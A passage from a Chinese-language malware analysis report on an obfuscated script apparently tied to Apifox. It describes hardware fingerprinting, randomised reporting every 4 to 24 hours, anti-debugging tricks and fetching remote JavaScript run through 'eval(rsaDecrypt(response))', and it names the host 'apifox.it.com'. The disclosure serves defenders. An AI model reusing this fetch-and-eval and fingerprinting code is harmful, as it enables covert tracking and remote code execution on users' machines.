leaf="">- </span><span style="color: rgb(0, 128, 0);"><span leaf="">CPU</span></span><span leaf="">型号</span><br/><span leaf="">- 操作系统版本</span><br/><span leaf="">- 主机名</span><br/><span leaf="">- 网络接口信息</span></code></pre><h4 data-line="48" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.4 持久化存储</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">localStorage键</span></strong><p><span leaf="">:</span></p></li><ul style=" margin-top: 0px;margin-bottom: 0.7em;  " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_rl_mc</span></code><p><span leaf="">: 机器标识</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">common.headers</span></code><p><span leaf="">: 请求头信息</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">eventTracking.firstVisit</span></code><p><span leaf="">: 首次访问标记</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">eventTracking.dailyReportUsers</span></code><p><span leaf="">: 日报用户记录</span></p></li></ul></ul><h3 data-line="55" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3. 主要执行流程</span></h3><h4 data-line="57" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.1 初始化阶段</span></h4><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">加载字符串数组并解密</span></p></li><li style=""><p><span leaf="">获取或生成设备指纹</span></p></li><li style=""><p><span leaf="">建立网络连接测试</span></p></li></ol><h4 data-line="62" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.2 数据采集阶段</span></h4><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">收集系统信息（CPU、OS、网络）</span></p></li><li style=""><p><span leaf="">生成唯一设备标识符</span></p></li><li style=""><p><span leaf="">加密敏感数据</span></p></li></ol><h4 data-line="67" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.3 远程通信阶段</span></h4><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">向API发送心跳包</span></p></li><li style=""><p><span leaf="">获取远程JS代码 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">loadAndExecute()</span></code><span leaf="">)</span></p></li><li style=""><p><span leaf="">执行远程代码 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">eval(rsaDecrypt(response))</span></code><span leaf="">)</span></p></li></ol><h4 data-line="72" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3.4 定时任务</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">随机间隔</span></strong><p><span leaf="">: 4小时 - 24小时</span></p></li><li style=""><strong><span leaf="">任务类型</span></strong><p><span leaf="">:</span></p></li><ul style=" margin-top: 0px;margin-bottom: 0.7em;  " class="list-paddingleft-1"><li style=""><p><span leaf="">数据上报 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scheduleNext</span></code><span leaf="">)</span></p></li><li style=""><p><span leaf="">页面访问统计 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">reportPageview</span></code><span leaf="">)</span></p></li><li style=""><p><span leaf="">用户行为追踪 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">report</span></code><span leaf="">)</span></p></li></ul></ul><h3 data-line="79" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4. 安全分析</span></h3><h4 data-line="81" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.1 潜在风险点</span></h4><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">远程代码执行</span></strong><p><span leaf="">: 从 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">REMOTE_JS_URL</span></code><span leaf=""> 动态加载并执行JS代码</span></p></li><li style=""><strong><span leaf="">数据泄露</span></strong><p><span leaf="">: 收集详细的系统信息和用户行为</span></p></li><li style=""><strong><span leaf="">持久化跟踪</span></strong><p><span leaf="">: 使用多种存储机制维持长期跟踪</span></p></li><li style=""><strong><span leaf="">加密绕过</span></strong><p><span leaf="">: 使用弱加密算法保护传输数据</span></p></li></ol><h4 data-line="87" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4.2 反调试措施</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">复杂的字符串混淆</span></p></li><li style=""><p><span leaf="">自修改代码</span></p></li><li style=""><p><span leaf="">定时器干扰</span></p></li></ul><h3 data-line="92" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5. 关键发现</span></h3><h4 data-line="94" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.1 远程服务器</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">主服务器</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a href="https://apifox.it.com" target="_blank">https://apifox.it.com</a></span></code></p></li><li style=""><strong><span leaf="">API端点</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/api/v1/request</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/api/v1/user</span></code></p></li><li style=""><strong><span leaf="">代理服务</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">web-proxy.apifox.com</span></code></p></li></ul><h4 data-line="99" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.2 跟踪功能</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">Google Analytics集成</span></strong></li><li style=""><strong><span leaf="">百度统计集成</span></strong></li><li style=""><strong><span leaf="">PostHog统计集成</span></strong></li><li style=""><strong><span leaf="">SLS日志服务</span></strong></li></ul><h4 data-line="105" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5.3 用户识别</span></h4><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">基于硬件信息的设备指纹</span></p></li><li style=""><p><span leaf="">用户ID绑定 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">common.currentUserId</span></code><span leaf="">)</span></p></li><li style=""><p><span leaf="">会话跟踪 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">projectCid</span></code><span leaf="">)</span></p></li></ul><h2 data-line="110" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">技术细节</span></h2><h3 data-line="112" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.1 字符串解密算法</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="113" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">rc4_decrypt</span></span><span leaf="">(</span><span style="color: inherit;"><span leaf="">key, data</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 初始化S盒</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 密钥调度算法</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 伪随机生成算法</span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 异或解密</span></span><br/><span leaf="">}</span></code></pre><h3 data-line="122" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.2 设备指纹生成</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="123" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">generateDeviceId</span></span><span leaf="">(</span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">const</span></span><span leaf=""> components = [</span><br/><span leaf="">        macAddress,</span><br/><span leaf="">        cpuModel,</span><br/><span leaf="">        osVersion,</span><br/><span leaf="">        hostname,</span><br/><span leaf="">        networkInterfaces</span><br/><span leaf="">    ];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">sha256</span></span><span leaf="">(components.</span><span style="color: rgb(128, 128, 128);"><span leaf="">join</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#39;-&#39;</span></span><span leaf="">));</span><br/><span leaf="">}</span></code></pre><h3 data-line="136" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.3 定时调度算法</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="137" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">function</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">randomInterval</span></span><span leaf="">(</span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">const</span></span><span leaf=""> min = </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">60</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">60</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">1000</span></span><span leaf="">;  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 4小时</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">const</span></span><span leaf=""> max = </span><span style="color: rgb(0, 128, 0);"><span leaf="">24</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">60</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">60</span></span><span leaf=""> * </span><span style="color: rgb(0, 128, 0);"><span leaf="">1000</span></span><span leaf="">; </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 24小时</span></span><br/><span style="color: rgb(0, 0, 